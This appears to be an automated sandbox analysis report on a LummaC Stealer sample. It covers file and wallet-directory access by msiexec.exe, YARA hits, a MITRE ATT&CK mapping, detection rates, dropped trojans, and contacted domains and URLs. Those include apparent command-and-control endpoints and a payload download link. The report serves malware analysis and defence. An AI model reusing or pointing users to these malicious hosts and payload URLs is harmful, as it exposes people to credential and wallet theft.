Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior

Source: Yara match	File source: 0000000E.00000003.1599080465.0000000002C87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1599280706.0000000002C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 2500, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 2500, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012D2110 ?firstSourceLocation@UiScriptBinding@AST@QQmlJS@@UBE?AVSourceLocation@23@XZ,	16_2_012D2110
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012F4140 ?accept0@UiScriptBinding@AST@QQmlJS@@UAEXPAVVisitor@23@@Z,	16_2_012F4140
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012D01A0 ??0UiArrayBinding@AST@QQmlJS@@QAE@PAVUiQualifiedId@12@PAVUiArrayMemberList@12@@Z,	16_2_012D01A0
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012F3D90 ?accept0@UiObjectBinding@AST@QQmlJS@@UAEXPAVVisitor@23@@Z,	16_2_012F3D90
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012D2830 ?lastSourceLocation@UiObjectBinding@AST@QQmlJS@@UBE?AVSourceLocation@23@XZ,	16_2_012D2830
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012D0C70 ??0UiScriptBinding@AST@QQmlJS@@QAE@PAVUiQualifiedId@12@PAVStatement@12@@Z,	16_2_012D0C70
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012D04F0 ??0UiObjectBinding@AST@QQmlJS@@QAE@PAVUiQualifiedId@12@0PAVUiObjectInitializer@12@@Z,	16_2_012D04F0
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012D20F0 ?firstSourceLocation@UiObjectBinding@AST@QQmlJS@@UBE?AVSourceLocation@23@XZ,	16_2_012D20F0
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012F3BE0 ?accept0@UiArrayBinding@AST@QQmlJS@@UAEXPAVVisitor@23@@Z,	16_2_012F3BE0
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_012D26A0 ?lastSourceLocation@UiArrayBinding@AST@QQmlJS@@UBE?AVSourceLocation@23@XZ,	16_2_012D26A0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	11 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Abuse Elevation Control Mechanism	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	11 DLL Side-Loading	1 Obfuscated Files or Information	Security Account Manager	145 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	211 Process Injection	1 Software Packing	NTDS	351 Security Software Discovery	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4kN17cL4Tn.exe	53%	ReversingLabs	Win32.Exploit.LummaC
4kN17cL4Tn.exe	65%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\wlfdmdt	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	62%	ReversingLabs	Win32.Trojan.Fixflo
C:\Users\user\AppData\Local\Temp\wlfdmdt	79%	ReversingLabs	Win32.Trojan.MintZard

Source	Detection	Scanner	Label
https://fitbudds.com/file/nixsudo.exed	0%	Avira URL Cloud	safe
http://127.0.0.1:%d%sin	0%	Avira URL Cloud	safe
ftp://.mode	0%	Avira URL Cloud	safe
https://fitbudds.com/	0%	Avira URL Cloud	safe
https://sputnik-1985.com/~	100%	Avira URL Cloud	malware
https://store.steamp	0%	Avira URL Cloud	safe
https://s.ykf	0%	Avira URL Cloud	safe
https://sputnik-1985.com/apies	100%	Avira URL Cloud	malware
https://fitbudds.com/file/nixsudo.exeL	0%	Avira URL Cloud	safe
http://bugreports.qt.io/Microsoft-IIS/4.Microsoft-IIS/5.Netscape-Enterprise/3.WebLogicRocketdetected	0%	Avira URL Cloud	safe
https://klipgylagyi.shop/int_clp_pan.txt	0%	Avira URL Cloud	safe
https://sputnik-1985.com/apioAeW	100%	Avira URL Cloud	malware
http://qt.digia.com/Product/Licensing/	0%	Avira URL Cloud	safe
https://fitbudds.com/file/nixsudo.exe	0%	Avira URL Cloud	safe
https://sputnik-1985.com/api(w	100%	Avira URL Cloud	malware
https://sputnik-1985.com/apics3	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
steamcommunity.com	104.102.49.254	true	false	high
fitbudds.com	85.239.54.77	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	high
klipgylagyi.shop	188.114.96.3	true	false	unknown
www.google.com	142.250.181.228	true	false	high
sputnik-1985.com	104.21.96.1	true	false	high
iplogger.com	172.67.188.178	true	false	high
librari-night.sbs	unknown	unknown	false	high
befall-sm0ker.sbs	unknown	unknown	false	high
cashju1cyh0.cyou	unknown	unknown	true	unknown
owner-vacat10n.sbs	unknown	unknown	false	high
p10tgrace.sbs	unknown	unknown	false	high
3xp3cts1aim.sbs	unknown	unknown	false	high
p3ar11fter.sbs	unknown	unknown	false	high
peepburry828.sbs	unknown	unknown	false	high
processhol.sbs	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sputnik-1985.com/api	false		high
https://iplogger.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=9003850dd90e7d1a	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/9003851e0d620f5f/1736583968697/f77bf8d991b52720fd45b51e51b01e2ccaf91189a100170798eaa9cb6fe96ebd/NzSgyZo_TOjvqjH	false		high
https://klipgylagyi.shop/int_clp_pan.txt	false	Avira URL Cloud: safe	unknown
https://fitbudds.com/file/nixsudo.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://player.vimeo.com	msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.vmware.com/0	333.exe, 00000005.00000002.1323178845.0000000034D93000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ykf	msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://qt-project.org/xml/features/report-whitespace-only-CharData	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xml.org/sax/features/namespace-prefixes	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/~	msiexec.exe, 0000000E.00000003.1576989873.00000000058A7000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fitbudds.com/file/nixsudo.exed	msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bugreports.qt.io/	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aia.entrust.net/ts2-chain256.p7c01	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://qt.digia.com/	OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001915000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://sputnik-1985.com/apies	msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://iplogger.com/15PRC4Just	msiexec.exe, 0000000E.00000003.1553383688.0000000005832000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aia.entrust.net/evcs2-chain.p7c01	msiexec.exe, 0000000E.00000003.1845722603.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.entrust.net/rpa0	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845722603.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steamp	msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phreedom.org/md5)	msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.entrust.net/rpa03	msiexec.exe, 0000000E.00000003.1845670682.0000000002C98000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	msiexec.exe, 0000000E.00000003.1578125149.000000000583D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://fitbudds.com/	msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	msiexec.exe, 0000000E.00000003.1578125149.000000000583D000.00000004.00000001.00020000.00000000.sdmp	false		high
ftp://.mode	msiexec.exe, 0000000E.00000003.1852273010.0000000005CC3000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005428000.00000004.00000020.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001915000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	333.exe, 00000005.00000002.1323178845.0000000034D93000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	msiexec.exe, 0000000E.00000003.1579428680.0000000005957000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.youtube.com/	msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://iplogger.com/15PRC4?__cf_chl_rt_tk=dxxkjtJLb2Yx8agHN4H3FF7Ul_f0aTMlpYD2o5JTYxg-1736583963-1.	msiexec.exe, 0000000E.00000003.1553383688.0000000005832000.00000004.00000001.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=M_FULq_A	msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/	msiexec.exe, 0000000E.00000003.1539925432.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1594611622.00000000058A7000.00000004.00000001.00020000.00000000.sdmp	false		high
